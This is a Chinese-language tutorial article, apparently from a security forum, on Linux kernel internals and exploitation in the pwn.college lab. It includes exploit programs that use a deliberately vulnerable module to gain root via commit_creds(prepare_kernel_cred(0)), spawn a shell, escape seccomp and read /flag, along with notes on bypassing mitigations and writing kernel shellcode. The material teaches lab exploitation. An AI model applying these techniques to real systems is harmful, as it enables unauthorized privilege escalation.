问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Linux内核安全:漏洞利用与防护技术的博弈
渗透测试
内核是操作系统的核心组件,负责管理计算机硬件资源和提供基础服务以支持系统软件和应用程序的运行。它是操作系统中最高权限的部分,直接与硬件交互,并通过抽象硬件功能,为用户态进程提供统一的接口
Kernel 基础 ========= 什么是内核? ------ 内核是操作系统的核心组件,负责管理计算机硬件资源和提供基础服务以支持系统软件和应用程序的运行。它是操作系统中最高权限的部分,直接与硬件交互,并通过抽象硬件功能,为用户态进程提供统一的接口 内核常用的指令 ------- 特权指令: ```php CLI:清除中断标志,禁止中断 STI:设置中断标志,允许中断 HLT:停止处理器,直到下一个中断发生 IN/OUT:从I/O端口读写数据 LGDT/SGDT:加载/存储全局描述符表(GDT) LIDT/SIDT:加载/存储中断描述符表(IDT) LTR:加载任务寄存器 MOV CRx:读取或写入控制寄存器(如CR0、CR3) ``` 系统调用相关指令: ```php SYSCALL/SYSRET:用于快速调用和返回系统调用(在x86_64架构上) INT 0x80:通过中断调用系统调用(在x86架构上) ``` 页表管理: ```php MOV CR3:设置页表基地址寄存器,切换页表 INVLPG:无效化某个虚拟地址的页表缓存 ``` 调试指令: ```php INT3:触发断点中断,通常用于调试 RDTSC:读取时间戳计数器,测量精确的时间 ``` 特殊的寄存器 ------ cr3 (Control Register 3)寄存器记录页表信息,用于将进程的虚拟地址转换为物理地址,这个寄存器直接用mov指令就能操作,但是要在内核模式下才能访问 MSR LSTAR (Model-Specific Register, Long Syscall Target Address Register)寄存器是基于特定模式的寄存器,它记录了系统调用会跳转到哪里执行,wrmsr指令和rdmsr指令是用来操作这个寄存器的,这两个指令也仅供内存使用的 那么计算机是如何知道用户是否可以访问如cr3之类的只有内核模式才能权限访问的寄存器呢 用户模式特权级别 --------  当cpu在执行时,会记录当前程序的权限级别,上图是基于x86架构的,Ring3是最小权限环,在这一环里有很多限制,比如说不能设置cr3寄存器,不能和硬件外设交互,不能执行HLT之类的,当软件在这一环上运行,需要和系统进行交互时,就会转换到Ring0,这里还有Ring2和Ring1,最初它们是为设备驱动准备的,区分了不同的访问级别,但是很少会用到,Ring0是主管模式,在这一环里是没有限制的,可以做任何事,这也是内核运行的地方 ```php Ring 3:用户模式,权限最低,限制较多,无法访问CR3等内核模式寄存器,无法执行HLT指令等。 Ring 0:内核模式,权限最高,可以执行任何指令和访问所有寄存器。 Ring -1:管理模式(主要用于虚拟化),可以拦截敏感操作,确保虚拟机中的用户内核无法无限制地访问主机硬件。 ``` Ring -1 ------- 还有一个Ring -1环,但是内核是在Ring 0环的,随着虚拟机的兴起,管理模式的特权开始引发问题。虚拟机的“用户”内核不应该能够无限制地访问主机的物理硬件,Ring -1,管理程序模式。能够拦截用户执行的敏感 Ring 0 操作并在主机操作系统中处理它们 不同类型的操作系统模型 ----------- 1. 单片内核 所有操作系统级别任务由一个统一的内核二进制文件处理。驱动程序作为库加载到此二进制文件中。示例:Linux、FreeBSD。 2. 微内核 只有一个微小的核心二进制文件,提供进程间通信和与硬件的最小交互。驱动程序作为普通用户空间程序运行,具有稍高的权限。示例:Minux、seL4。 3. 混合内核 结合了微内核和单片内核的特点。示例:Windows NT、MacOS。 环与环之间切换 ------- 这里主要展示的是x86\_64 arm架构,在启动时,在 Ring 0 中,内核将 MSR LSTAR 设置为指向系统调用处理程序例程,当用户空间(Ring 3)进程想要与内核交互时,它可以调用 syscall,具体方式如下: ```php 权限级别切换至 Ring 0 控制流跳转到 MSR LSTAR 的值 返回地址保存到 rcx https://www.felixcloutier.com/x86/syscall ``` 内核返回用户空间时,通过sysret指令完成权限级别切换和控制流跳转 ```php 权限级别切换到 Ring 3 控制流跳转到 rcx https://www.felixcloutier.com/x86/sysret ``` 内核与用户空间的关系 ---------- 用户空间进程的虚拟内存位于低地址。  内核拥有自己的虚拟内存空间,位于高地址,只有在Ring 0才能访问 攻击方式 ---- 内核漏洞可能来自以下几个方向: ```php 来自网络:远程触发漏洞,如死亡数据包。 来自用户空间:系统调用和ioctl处理程序中的漏洞。 来自设备:从连接的设备(如USB硬件)触发的漏洞。 ``` 常见的内核漏洞利用手段: ```php 提升权限、安装rootkit。 获得更多访问权限,攻击系统其他部分,如受信任的执行环境。 ``` Kernel 调试环境搭建 ============= 虚拟机环境设置 ------- 对内核进行开发和利用会产生很多bug。为了避免不断重启,不要在现实环境编译,而是在虚拟机中调试,这里附上环境快捷搭建的github项目地址: ```php https://github.com/pwncollege/pwnkernel ``` 解压后,进入文件夹,执行build.sh脚本,它会为我们自动安装调试内核所需要的程序和编译内核   运行launch.sh脚本,这个脚本会把用户空间捆绑到一个文件系统中,然后启动qemu,进入虚拟linux系统环境  主机文件目录在 ```php /home/ctf/ ```  调试内核与syscall ------------ 在启动qemu时,开启了gdb远程调试与关闭了地址随机化, gdb调试默认端口为1234  内核文件是 ```php ./linux-5.4/vmlinux ``` 写了一个简单的调用syscall的程序 ```php .global _start .intel_syntax noprefix _start: xor eax,eax mov al,60 syscall ``` 这些汇编语言只是执行了一个exit(0),因为qemu里没有lib库,所以要在主机上静态编译这个文件 ```php gcc -static -o exit -nostdlib exit.s ```   使用objdump查看这个程序的地址  程序入口处就在0x401000处,使用gdb导入要调试的内核,并进行远程调试  gdb提示当前在default\_idle函数处,因为连接上了远程调试,而现在是gdb是暂停的状态,所以在qemu里无法操作的 查看当前rip寄存器,可以发现地址都是0xFFFFFF起步,说明现在已经在内核空间了  在gdb里输入C运行内核,qemu里才能正常操作,ctrl+c中断,qemu里又无法执行 0x401000地址是程序exit的起始地址,在0x401000地址处打一个断点,这个地址不是内核地址,但是我们现在可以调试整个系统,当运行到0x401000地址处时,内核就会暂停 打完断点后运行程序,然后回到qemu执行exit程序   现在触发了断点,回到gdb,查看汇编代码  这些汇编代码就是exit程序里的,这些都是即将执行的程序,输入si,进入syscall  可以看到地址都是FFFFF开头的,说明我们现在在内核空间了,syscall会把返回地址放到rcx寄存器里,查看rcx寄存器   执行完syscall,它就会返回到0x401006地址处继续执行其他指令 一直输入si,可以跟踪syscall函数执行的一些指令,在其中可以看到push指令,需要注意的是,这里不是push到用户空间的栈里,而是内核栈  查看rsp寄存器,它已经将栈切换到了内核栈  进入这个do\_syscall\_64函数,这里面是syscall主要操作的指令  输入finish执行完这些指令,来看看之后syscall是如何返回到用户空间的 现在正在恢复这些寄存器状态  还恢复了用户空间的栈指针  恢复了rsp,rdi,执行完pop rsp指令后查看rsp寄存器  可以看到现在已经回到了用户空间的栈指针,最后调用sysret指令,回到0x401022  内核模块 ==== 内核模块是linux生态系统的重要组成部分,主要用于实现设备驱动程序,概念上类似于用户空间的库,内核将内核模块加载到自身以提供各种功能,这些模块是一个ELF文件,扩展名为.ko,模块中的代码会以内核相同的权限运行 输入lsmod,可以查看当前加载到内核的内核模块  内核模块中断 ------ 内核模块中断是指操作系统内核中的一个功能,用于处理中断请求(IRQ,Interrupt Request)。中断是硬件或软件向处理器发送的一种信号,要求处理器暂时停止当前的执行流程,转而处理特定的事件或任务。处理完中断后,处理器会继续执行之前的任务,需要用到LIDT和LGDT指令加载中断描述符表和全局描述符表,然后由int 42指令触发中断 其他用于hook的中断指令: ```php int3 (0xcc):会导致SIGTRAP int1 (0xf1):通常用于硬件调试 ``` 内核模块交互 ------ 与内核模块交互的最常见方法是通过文件,例如: /dev:/dev 目录包含设备文件,这些文件是系统中的硬件设备和虚拟设备的接口。设备文件分为两类:字符设备和块设备  这个文件夹里有许多不同的设备,sda文件就代表本机硬盘,查看这个文件就会输出大量的硬盘中的内容 /proc:/proc 目录是一个伪文件系统,提供了一个接口来访问内核和进程信息。它不是实际存在于磁盘上的文件系统,而是内存中的一种数据表示  bash的进程号有7个,进入其中可以看到当前bash调用的一些信息 /sys:/sys 目录是sysfs文件系统的挂载点,提供了一个统一的接口来查看和配置内核对象。它主要用于反映内核对象模型(Kobject)层次结构,允许用户空间应用程序与设备驱动程序和内核子系统进行交互 交互的接口函数为read()和write(),从内核空间调用: ```php static ssize_t device_read(struct file *filp, char *buffer, size _t length, loff _t *offset) static ssize_t device write(struct file *filp, const char *buf, size t len, loff t *off) ```  从用户空间调用: ```php fd = open('/dev/1',0) read(fd,buffer,128) ``` 还有一个更高级的接口,**ioctl**(输入输出控制,Input/Output Control)是一种在Unix和Linux操作系统中用于设备控制的系统调用。它为用户空间程序提供了一种与设备驱动程序(通常在内核空间中)进行复杂交互的机制,通过文件描述符来传递特定的命令和数据 从内核空间调用: ```php static long device_ioctl(struct file *filp, unsigned int ioctl_num, unsigned long ioctl_param) ``` 从用户空间调用: ```php int fd=open("/dev/1",0); ioctl(fd,COMMAND CODE,&custom data structure); ``` 驱动程序交互 ------ 内核可以做任何事情,而在单内核中,内核模块就是内核的一部分,运作流程如下 1.从用户空间读取数据(copy\_from\_user) 2.执行数据,列如打开文件、读取文件、与硬件交互等 3.将数据写入用户空间(copy\_to\_user) 4.返回用户空间 编译模块 ---- 本文用的是pwnkernel的环境,模块都在src目录下  在src/mymodule.c中编写内核模块,然后用src/Makefile添加一个条目,最后make即可 列如我要添加一个baimao\_module  将baimao\_module添加进Makefile里,然后执行build.sh自动编译,编译后执行launch启动环境    baimao\_module已经成功编译成内核模块 导入内核模块 ------ 内核模块使用init\_module函数完成系统调用加载,也可以用insmod命令载入,这里用baimao\_module举例  这个模块的的作用就是往内核日志中输出一条Hello baimao!结束时输出Goodbye baimao!,回到qemu,执行insmod baimao\_module.ko  成功载入并输出Hello baimao!,使用lsmod可以看到载入的内核模块和载入地址  删除内核模块 ------ 可以使用系统调用delete\_module删除加载的模块,也可以用rmmod命令删除  使用这些方法就能让内核执行我们的代码 内核漏洞 ==== 内核漏洞提权(Kernel Exploitation for Privilege Escalation)是指攻击者利用操作系统内核中的漏洞,从而获得比其原有权限更高的权限,通常是从普通用户权限提升到管理员或系统权限 内核内存损坏 ------ 内核内存损坏(Kernel Memory Corruption)是指内核中的内存数据被意外修改或破坏,导致系统不稳定、崩溃或安全漏洞 每个内核模块都有两个非常重要的函数,copy\_to\_user和copy\_from\_user,copy\_to\_user的作用是将数据从内核空间复制到用户空间,copy\_from\_user是将将数据从用户空间复制到内核空间,所有用户数据都是通过这两个函数来完成和内核空间交互的 ```php copy_to_user(userspace_address, kernel address, length); copy_from_user(kernel address,userspace address, length); ``` 内核内存损坏可能导致以下后果: 1.系统崩溃 2.系统变砖 3.权限提升 4.干扰其他进程 权限提升原理 ------ 内核也是由代码构成的,有代码地方就会存在各种各样的漏洞,危害最大的就是权限提升,内核会记录每一个进程的权限,而内核又是通过task\_struct记录了一大堆信息,task\_struct保存了操作系统所需的特定进程数据。这些数据包括:进程凭据、优先级、PID(进程 ID)、PPID(父进程 ID)、开放资源列表、内存空间范围信息、命名空间信息  task\_struct中最重要的是进程凭据(cred),cred结构体中包含进程的euid,euid是一个重要的字段,它代表了进程的有效用户ID(effective user ID)。有效用户ID是用于权限检查的用户ID,如果将euid改为0,当前进程就是root权限,提权就是将euid改为0  进程凭证是不可变的,但它可以被替换,内核提供了两个api,一个是把当前cred结构体对象替换为别的: ```php commit_creds(struct cred *) ``` 另一个能创建cred结构体对象: ```php struct cred *prepare_kernel_cred(struct task_struct*reference_task_struct) ``` 如果我们将NULL(0)传递给prepare\_kernel\_cred,它会创建一个具有root访问权限和完全权限的cred结构,再用commit\_creds执行它,就会获得root权限 ```php commit_creds(prepare_kernel_cred(0)); ``` 实例演示 ---- 在src目录下,有一个make\_root.c文件,这个文件就是用来演示的内核模块  这个模块会在/proc下创建一个设备文件, 文件名称为pwn-college-root   它为这个设备文件注册了一堆操作函数,有read、write、open、release,最重要的是ioctl  里面有一个几个if判断,首先判断ioctl\_num是否为PWN参数里的值,然后判断ioctl\_param是否为0x13371337,如果是的话就执行这条语句,会给我们一个root权限 ```php commit_creds(prepare_kernel_cred(NULL)); ``` 首先我们要写一个程序,它要open这个文件(pwn-college-root),然后传入正确的ioctl\_num和参数,触发ioctl执行,就能获得root权限,但是现在还不知道PWN的参数是什么,需要逆向这个内核模块找出来 ```php objdump -M intel -d src/make_root.ko ```  在这里可以看到第一个if对比的值,是0x7001,现在就可以写一个程序来破解它了 程序源代码: ```php #include <assert.h> int main(){ int fd = open("/proc/pwn-college-root", 0); assert(fd > 0); printf("%d\n",getuid()); ioctl(fd,0x7001,0x13371337); printf("%d\n",getuid()); execl("/bin/sh","/bin/sh",0); } ``` 最后的execl函数作用是将当前进程替换为/bin/sh 然后静态编译这个程序 ```php gcc -o getroot -static getroot.c ``` 执行launch.sh脚本启动qemu,然后导入make\_root内核模块  导入后切换到ctf普通用户,去到编译破解程序的文件夹里  运行程序,就能获得一个root权限的sh  注意事项 ---- 提权要知道commit\_creds和prepare\_kernel\_cred在内存的哪里,现代内核默认启用了kASLR,这些位置都是随机的,只有老的内核和一些嵌入式设备禁用了kASLR 有一个文件叫kallsyms,在/proc目录下,它包含内核符号表的相关信息,可以找到这两个函数的地址  Seccomp逃逸 ========= seccomp(Secure Computing Mode)是Linux内核中的一个安全机制,用于限制进程可以执行的系统调用。它通过过滤器规则来限制进程能够调用的系统调用集,从而减少攻击面,增强系统安全性。然而,由于内核是以最高权限运行的,seccomp也是在内核内部实现的,因此存在通过内核漏洞逃逸seccomp的风险。如果内核模块存在漏洞,那么攻击者可以利用这些漏洞获得与seccomp本身相同的访问权限 Seccomp实现原理 ----------- cred结构体也是tack\_struct的成员,tack\_struct中还有其他数据  在thread\_info结构体中,有一个名为flags的变量。flags包含了许多比特位,这些位是一个位域,编码了多个选项。其中,第八位的比特标志位是TIF\_SECCOMP,它的作用是启用seccomp  图中代码就是seccomp在内核中实现的方式:  这段代码的主要功能是在使用seccomp进行系统调用过滤时,检查并处理系统调用的相关安全性。它首先保存原始的系统调用号,然后调用secure\_computing函数进行安全性检查。如果检查结果不符合预期,就会发出警告并强制退出当前进程 实现secure\_computing的代码:  这段代码定义了一个内联函数 secure\_computing,用于在系统调用期间检查并执行 seccomp 安全策略  之后会弄清楚用户设置了哪些seccomp选项,然后执行seccomp过滤器,这就是seccomp在内核中的实现方式 如何关闭Seccomp ----------- 可以通过task\_struct获取thread\_info.flags的偏移量,改变TIF\_SECCOMP位,从而关闭当前线程的seccomp。TIF\_SECCOMP是一个索引,通过将1左移8位然后取反,创建了一个字段,每个位都是1,除了右边第8位,这样就关闭了一个标志位。具体操作如下: ```php current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP) ``` 这行代码中,1 << TIF\_SECCOMP将1左移8位,生成一个只有第8位为1的数。然后通过按位取反操作,生成一个除了第8位为0外其余位全为1的数。通过按位与操作,将flags的第8位置0,其余位保持不变,从而关闭TIF\_SECCOMP标志位 内核通常将GS寄存器指向当前task\_struct,简称为current,以便频繁地使用该结构。通过current可以轻松访问当前进程的task\_struct。要关闭thread\_info.flags中的TIF\_SECCOMP标志,可以先通过GS寄存器获取结构的访问权限,然后清除TIF\_SECCOMP标志即可。这样当前进程就不会被Seccomp保护,但它的子进程仍然会受到Seccomp防护 实例演示 ---- 这里还是用make\_root内核模块来演示  只不过不同的是,发送0x31337,程序就会逃逸seccomp防护  这段代码的作用就是清除seccomp的flags,写一个程序来启用seccomp防护,并演示如何关闭它 ```php #define _GNU_SOURCE 1 #include <sys/sendfile.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/mman.h> #include <seccomp.h> #include <string.h> #include <stdlib.h> #include <stdint.h> #include <assert.h> #include <unistd.h> #include <stdio.h> #include <errno.h> #include <fcntl.h> #include <time.h> void attack() { printf("BREAKING OUT!\n"); ioctl(3, 0x7001, 0x31337); printf("Pre-root uid: %d\n", getuid()); ioctl(3, 0x7001, 0x13371337); printf("Post-root uid: %d\n", getuid()); int flag_fd = open("/flag", 0); assert(flag_fd > 0); char buf[1024]; int n = read(flag_fd, buf, 1024); assert(n > 0); puts(buf); } int main() { int fd = open("/proc/pwn-college-root", 0); assert(fd > 0); setresuid(1234, 1234, 1234); scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_ERRNO(1337)); assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(ioctl), 0) == 0); assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0); assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) == 0); assert(seccomp_load(ctx) == 0); printf("Before breaking out...\n"); printf("Trying getuid() %d\n", getuid()); attack(); } ``` mian函数的作用: ```php 打开/proc/pwn-college-root文件,确保程序有访问权限。 setresuid(1234, 1234, 1234);:将用户ID设置为1234。 初始化seccomp过滤器ctx,将默认操作设置为返回错误代码1337。 添加允许的系统调用:ioctl、read、write。 加载seccomp过滤器以限制程序只能调用上述系统调用。 打印当前用户ID,然后调用attack()函数尝试提升权限并读取文件内容。 ``` 然后调用attack函数,完成提权和关闭seccomp防护,读取flag文件里的内容并输出 静态编译程序后进入qemu导入make\_root.ko内核模块 ```php apt-get install libseccomp-dev gcc -o seccomp -static seccomp.c -lseccomp ```  运行程序,成功关闭seccomp   rbx寄存器从gs寄存器的偏移0x15d00地址处读取TIF\_SECCOMP值,然后传入rsi寄存器里,最后输出,下一步指令就是清除TIF\_SECCOMP 内存管理 ====  这是传统的计算机结构,有一个cpu、有内存、和磁盘、网络有交互,这里主要讨论一下内存管理 进程内存 ---- 每个 Linux 进程都有一个虚拟内存空间。它包含: ```php 二进制文件:可执行文件本身,包含了程序的指令代码 库文件:包含程序所依赖的共享库,比如标准C库 堆:用于动态内存分配,例如使用 malloc、calloc 和 realloc 分配的内存。堆的大小可以在运行时动态增长 栈:用于存储函数调用的局部变量、参数和返回地址。栈的大小通常是有限的,如果栈的使用超过了预定的限制,可能会导致栈溢出 专门映射的内存:程序可以通过 mmap 等系统调用将文件或匿名内存段映射到进程的地址空间 辅助区域:包括一些特殊用途的内存区域,例如动态链接器使用的区域 内核代码:位于高地址部分,在 64 位系统中通常位于 0x8000000000000000 以上的地址空间,用户进程无法直接访问这些区域 ``` ### 虚拟内存和物理内存 虚拟内存:每个进程都有自己独立的虚拟地址空间,这意味着一个进程的内存操作不会直接影响其他进程。虚拟内存使得内存管理更加灵活和安全 物理内存:是计算机实际的内存硬件,所有进程的虚拟内存都会映射到物理内存。操作系统负责管理这种映射 虚拟内存是为用户的进程保留的,而物理内存是整个系统共享的 物理内存 ---- 物理内存是计算机中的实际硬件RAM,它的地址范围通常从0x00000000到0xffffffff(假设是32位系统)。每个程序都需要在这个有限的物理内存中运行,但物理内存的直接管理和分配是复杂且容易出错的 虚拟内存通过引入一个中间层,将每个进程的内存地址空间与实际物理内存分离开来。每个进程都有自己独立的虚拟内存地址空间,这样就可以在不相互干扰的情况下运行多个程序 ### 位置无关代码(PIC) 位置无关代码(PIC)位置无关代码是一种可以在内存的任何位置运行的代码。它不依赖于固定的内存地址,从而允许多个程序共享同一个内存地址空间而不冲突。共享库(如动态链接库)通常是位置无关代码的一个例子 虚拟内存 ----  虚拟内存是操作系统提供的一种使每个进程认为自己拥有完整且连续的内存空间,而实际上这些内存空间可能分布在不同的物理内存位置。虚拟内存系统通过硬件和操作系统的合作,使多个进程能够有效、安全地共享物理内存 每个进程都有自己的虚拟地址空间,这个空间是连续的且独立于其他进程。图中的P1、P2、P3、P4代表了不同进程的虚拟内存,它们的虚拟地址范围都是从0x000到0x0fff, 所有进程的虚拟内存都映射到同一个物理内存空间。图中展示了一个从0x00000000到0xffffffff的物理内存地址范围 ,最后由CPU和操作系统通过页表来维护虚拟地址和物理地址之间的映射关系。当进程访问虚拟内存时,硬件会通过页表将虚拟地址转换为物理地址 如何映射虚拟内存和物理内存 -------------  在计算机系统中,虚拟内存和物理内存的映射是通过页表来管理的。每个进程都有一个独立的虚拟地址空间,虚拟内存地址通过页表映射到实际的物理内存地址 ,Strawman解决方案是一个简化的模型,其中每个进程被分配固定大小(如4KB)的内存空间 ,如果需要更多的空间,现代计算机系统使用分页机制来管理内存,允许虚拟内存页映射到非连续的物理内存地址,意思是在虚拟内存空间里是连续的地址,但是在物理内存空间里可以是不连续的  页表 -- 页表是内存管理单元(MMU)使用的核心数据结构之一,用于将虚拟地址映射到物理地址。每个进程都有自己的页表,操作系统负责管理这些页表以实现内存的隔离和保护,每个页表条目(Page Table Entry, PTE)包含一个虚拟页到物理页的映射。一个页表通常包含512个条目,这意味着一个页表可以映射最多512页的内存。每页大小为4KB,那么一个页表可以映射最多2MB(512 \* 4KB)的内存,需要注意的是,页表也会占用掉一页 ### 多级页表 对于需要更多内存的情况,现代计算机系统通常使用多级页表。多级页表将页表分成多个级别,每个级别的页表指向下一级别的页表。以下是一个常见的多级页表结构: ```php 一级页表:包含指向二级页表的指针 二级页表:包含指向三级页表的指针 三级页表:包含指向四级页表的指针 四级页表:包含指向最终物理页的指针 ``` ```php PML4(Page Map Level 4):最高级别的页表 PDP(Page Directory Pointer):指向页目录的指针 PD(Page Directory):页目录,包含指向页表的指针 PT(Page Table):页表,包含指向物理页的指针 页内偏移:物理页内的具体偏移 ```  通过这种方式,可以管理大于单级页表所能覆盖的内存空间。例如,x86\_64架构使用四级页表,可以映射多达256TB的虚拟地址空间 地址转换 ---- 0x7fff47d4c123地址的二进制是0111 1111 1111 1111 0100 0111 1101 0100 1100 0001 0010 0011  ```php A: PML4索引(Page Map Level 4):选择PDP表 B: PDP索引(Page Directory Pointer):选择页目录(PD) C: PD索引(Page Directory):选择页表(PT) D: PT索引(Page Table):选择具体的物理页 E: 页内偏移:选择页内具体的位置 ``` 在x86\_64架构下,虚拟地址的长度为64位,但实际使用的仅有48位,高地址的12位要么是0,要么是1,48位对于现在已经够用了。这48位被分成多个部分,用于索引多级页表,以实现虚拟地址到物理地址的转换,以下是地址转换过程: ```php 虚拟地址分段:虚拟地址被分成多个部分,分别用于索引多级页表 查找页表:从PML4开始,通过每一级索引找到下一级页表,最终找到物理页 物理地址计算:在物理页基础上加上页内偏移,得到最终的物理地址 ``` 汇编表达: ```php mov rax, [rbx] ``` 这条指令从rbx寄存器指向的内存地址读取一个值到rax寄存器。在有多级页表的情况下,这个虚拟地址转换过程可以表示为: ```php rax = *(long *)(PML4[A][B][C][D])[E] ``` 进程隔离 ---- 在x86\_64架构中,每个进程都有一个独立的页表,最顶层的页表被称为PML4(Page Map Level 4)。PML4包含指向下一级页表的指针,通过多级页表结构实现虚拟地址到物理地址的转换,每个进程都有自己的PML4,如何找到它呢,这里就要用到CR3寄存器,CR3寄存器是一个控制寄存器,保存当前使用的PML4表的物理地址。操作系统在切换进程时,通过修改CR3寄存器的值来切换页表,从而实现进程间的内存隔离,但CR3寄存器只能在ring0级别访问。ring0是操作系统内核的权限级别,具有最高权限。用户态代码运行在ring3级别,没有权限直接修改CR3寄存器 虚拟机的内存管理 -------- 虚拟机(VM)通过虚拟化技术运行多个操作系统实例,每个操作系统实例称为一个“客体”(Guest)。为了隔离虚拟机并保护物理内存不被直接访问,虚拟化技术引入了扩展页表(EPT),扩展页表是英特尔虚拟化技术(Intel VT-x)中的一个特性,用于支持二级地址转换(SLAT)。EPT提供了一个额外的地址转换层,使得虚拟机中的每个内存访问都需要经过两次地址转换: ```php 虚拟地址到客体物理地址:虚拟机操作系统使用传统的页表将虚拟地址转换为客体物理地址 客体物理地址到实际物理地址:扩展页表将客体物理地址转换为实际的物理地址 ``` 虚拟机中的每个虚拟地址通过其内部的页表结构(PML4、PDPT、PD、PT)转换为客体物理地址,具体转换过程: ```php CR3: PML4 (Guest) -> PDPT (Guest) -> PD (Guest) -> PT (Guest) -> Guest Physical Address ```  客体物理地址通过扩展页表再次转换为实际的物理地址,扩展页表转换: ```php EPT PML4 -> EPT PDPT -> EPT PD -> EPT PT -> Physical Address ``` 虚拟机管理程序(Hypervisor)利用EPT技术来管理和隔离虚拟机的内存。Hypervisor运行在最高权限级别(通常是ring0),并负责管理物理硬件资源的分配和保护。通过EPT,Hypervisor可以有效地将物理内存划分给多个虚拟机,并确保它们之间的内存访问是隔离且安全的 内存管理单元(MMU) ----------- 如果内核在软件中进行所有查找是很慢的,这里就会用到内存管理单元(MMU),内存管理单元(MMU)是计算机体系结构中的一个关键组件,负责管理虚拟内存地址到物理内存地址的转换 ,转换过程如下: ```php MMU根据页表将虚拟地址转换为物理地址 通过多级页表结构,MMU可以高效地管理和转换大量的虚拟地址 ``` MMU还有内存保护措施,MMU检查每次内存访问的权限,确保进程只能访问其权限范围内的内存区域。通过设置页表中的权限位,MMU可以控制每个内存页的读、写和执行权限,为了加速地址转换,MMU使用了一种叫做转换旁路缓冲区(TLB)的高速缓存。TLB缓存最近使用的虚拟地址到物理地址的映射,减少了查找页表的次数,提高了内存访问速度。 内核保护机制 ====== 内核有许多防护措施: ```php 栈金丝雀 (Stack canaries):在栈上放置一个特殊值(“金丝雀”),如果该值被修改,就能检测到栈溢出攻击 kASLR (Kernel Address Space Layout Randomization):启动时随机化内核的基址,使得攻击者难以预测内核的位置,从而提高安全性 不可执行堆/栈区域:通过禁止执行堆和栈上的代码,防止攻击者将恶意代码插入这些区域并执行 ``` 这些防护也是有绕过方法的: ```php 栈金丝雀绕过 (Stack canaries bypass):攻击者可以通过某些方法泄露栈金丝雀的值,然后在进行栈溢出攻击时跳过对金丝雀值的破坏,从而绕过保护 kASLR绕过 (kASLR bypass):通过泄露内核基址,攻击者可以预测内核的位置,绕过地址空间随机化带来的保护 堆/栈区域不可执行绕过 (Heap/stack regions NX bypass):使用返回导向编程(ROP)技术,攻击者可以利用现有的代码片段执行恶意行为,即使堆和栈区域不可执行 ``` FGKASLR ------- **FGKASLR(Function Granular Kernel Address Space Layout Randomization)** 是一种更细粒度的地址空间布局随机化技术。与传统的kASLR(Kernel Address Space Layout Randomization)不同,kASLR主要是在内核层次上随机化基地址,而FGKASLR进一步细化到了函数级别。具体来说,它通过在系统启动时将内核中的函数随机排列,使得每次启动时函数的位置都不同,从而增加了攻击者推测或利用函数位置的难度 SMEP&SMAP ------------- **监督内存保护 (Supervisor Memory Protection)** 是一种防止内核访问或执行用户空间内存的安全措施。主要包含以下两个部分: **SMEP (Supervisor Mode Execution Protection)**: **功能**:防止内核模式下的代码执行用户空间内存中的代码 **作用**:阻止攻击者通过缓冲区溢出攻击,使内核执行用户空间的恶意代码,从而保护系统 **SMAP (Supervisor Mode Access Prevention)**: **功能**:防止内核模式下的代码访问用户空间内存,除非明确设置了允许访问的标志(AC标志) **作用**:阻止内核被缓冲区溢出攻击而访问用户空间的数据,从而提高系统安全性 随着防御技术的不断改进,攻击者也在不断创新新的攻击手段 ,run\_cmd(char \*cmd) 是一个内核函数,允许在用户空间以root身份执行命令。这种方法类似于标准C库中的 system() 函数,但直接在内核中调用,但也带来安全风险,因为它允许内核代码以最高权限执行任意命令 编写内核Shellcode ============= 这是用户空间读取文件的汇编指令shellcode: ```php global _start section .text _start: ; fd = open("/flag", O_RDONLY); lea rdi, [rip+flag] mov rsi, 0 mov rax, 2 syscall ; bytes_read = read(fd, buf, 100); mov rdi, rax mov rsi, rsp mov rdx, 100 mov rax, 0 syscall ; write(stdout, buf, bytes_read); mov rdi, 1 mov rsi, rsp mov rdx, rax mov rax, 1 syscall ; exit(42) mov rdi, 60 mov rax, 42 syscall section .data flag db "/flag", 0 ``` 但是这些指令不能在内核空间中运行, 系统调用是操作系统提供的接口,允许用户空间程序请求内核执行特权操作,如文件操作、进程控制、网络通信等。通过系统调用,用户空间程序可以安全地访问内核提供的服务,而不会直接操作内核内存或设备 当执行syscall指令时,就会执行立即跳转到内核中的 syscall\_entry 函数,syscall\_entry 函数设计上是假定调用来自用户空间 。如果你从内核空间调用它,会导致内核崩溃 内核API ----- 在内核内部执行操作需要对内核数据结构和API有深入的了解,权限提升要用到的操作: ```php commit_creds(prepare_kernel_cred(0)); ``` prepare\_kernel\_cred(0) 创建一个新的凭据结构,并将其设置为0(通常表示root权限)。commit\_creds 应用这些凭据,从而实现权限提升 seccomp逃逸要用到的操作: ```php current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP) ``` 通过修改当前任务的 thread\_info.flags,清除 TIF\_SECCOMP 位,从而禁用Seccomp 命令执行: ```php run_cmd("/path/to/my/command") ``` 使用 run\_cmd 函数以内核权限在用户空间执行命令,这类似于在内核中调用 system() 这些都不涉及系统调用,但它们都需要查找**current\_task\_struct**,**current\_task\_struct**代表当前执行任务的结构体。需要找到并正确引用这个结构体,以便修改其成员和方法偏移量 定位API地址 ------- 如果KASLR是关闭的话,可以从 /proc/kallsyms 文件里获取函数地址  如果KASLR 被启用,需要泄露一个内核地址并计算偏移量,就像在用户空间绕过ASLR一样 调用方法 ---- 在内核中调用API函数时,需要使用 call 指令,而不是用户空间的 syscall。这是因为内核API是以函数形式存在的,直接调用即可,无需通过系统调用中断机制 ,通过将目标函数的地址加载到寄存器中,然后调用该寄存器来实现绝对地址调用,假设现在找到了一个内核api函数的地址,要调用它 列如: ```php mov rax, 0xffff414142424242 call rax ``` 将汇编指令转换为十六进制: ```php pwn asm -c amd64 "mov rax, 0xffff414142424242; call rax" ```  访问内核数据结构 -------- Seccomp(安全计算模式)是一种用于限制进程系统调用的安全机制。为了绕过Seccomp限制或在内核中进行某些操作,需要找到当前的任务结构体(task\_struct),在Linux内核中,每个运行中的任务(进程或线程)都有一个对应的 task\_struct 结构体,包含了任务的所有信息。在内核代码中,可以通过 current 宏快速访问当前任务的 task\_struct,在x86\_64架构下,Linux内核使用段寄存器 gs 指向当前CPU的 per-CPU 数据区域,而 per-CPU 数据区域中包含了当前任务的 task\_struct,在内核开发中,通过宏 current 可以轻松获取当前任务的 